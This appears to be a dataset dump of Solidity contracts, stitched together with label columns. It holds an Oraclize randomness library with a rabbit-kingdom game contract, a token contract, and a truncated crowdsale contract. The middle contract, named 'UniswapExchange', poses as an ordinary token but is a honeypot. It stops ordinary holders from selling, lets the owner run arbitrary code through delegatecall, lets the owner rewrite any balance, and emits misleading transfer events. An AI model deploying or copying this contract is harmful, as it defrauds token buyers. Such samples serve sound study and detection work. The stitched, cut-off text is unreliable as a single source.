return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
interface GreenRabbitKingdom {
function attackKingdom(address invader, uint256 random) external returns(bool);
}
contract GreenRabbitInvader is usingOraclize {
address admin;
address kingdomAddress;
uint attackCost = 0.01 ether;
uint gasLimit;
mapping (bytes32 => address) private kingdomInvaders;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor() public {
admin = msg.sender;
gasLimit = 200000;
oraclize_setProof(proofType_Ledger);
}
function() external payable {
attackKingdom();
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
require (msg.sender == oraclize_cbAddress());
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
uint maxRange = 2**(8* 7);
uint randomNumber = uint(keccak256(abi.encodePacked(_result))) % maxRange;
GreenRabbitKingdom kingdom;
kingdom = GreenRabbitKingdom(kingdomAddress);
require(kingdom.attackKingdom(kingdomInvaders[_queryId], randomNumber));
}
}
function attackKingdom() payable public {
require (msg.value == attackCost);
uint N = 7;
uint delay = 0;
uint callbackGas = gasLimit;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
kingdomInvaders[queryId] = msg.sender;
}
function setKingdomAddress (address _address) public onlyAdmin {
require (kingdomAddress == address(0));
kingdomAddress = _address;
}
function setGasLimit (uint _gasLimit) public onlyAdmin {
require (_gasLimit > 200000);
gasLimit = _gasLimit;
}
function withdraw() public onlyAdmin {
msg.sender.transfer(address(this).balance);
}
} | 1 | 4,110 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,278 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract SphereTokenFactory{
function mint(address target, uint amount);
}
contract Haltable is Owned {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingMechanism is Haltable, SafeMath{
uint public decimals;
PriceTier[] public priceList;
uint8 public numTiers;
uint public currentTierIndex;
uint public totalDepositedEthers;
struct PriceTier {
uint costPerToken;
uint ethersDepositedInTier;
uint maxEthersInTier;
}
function setPricing() onlyOwner{
uint factor = 10 ** decimals;
priceList.push(PriceTier(uint(safeDiv(1 ether, 400 * factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (10 wei * factor)) / (90 * factor)),0,5000 ether));
priceList.push(PriceTier(uint(1 ether / (80* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (50 wei * factor)) / (70* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (40 wei * factor)) / (60* factor)),0,5000 ether));
priceList.push(PriceTier(uint(1 ether / (50* factor)),0,5000 ether));
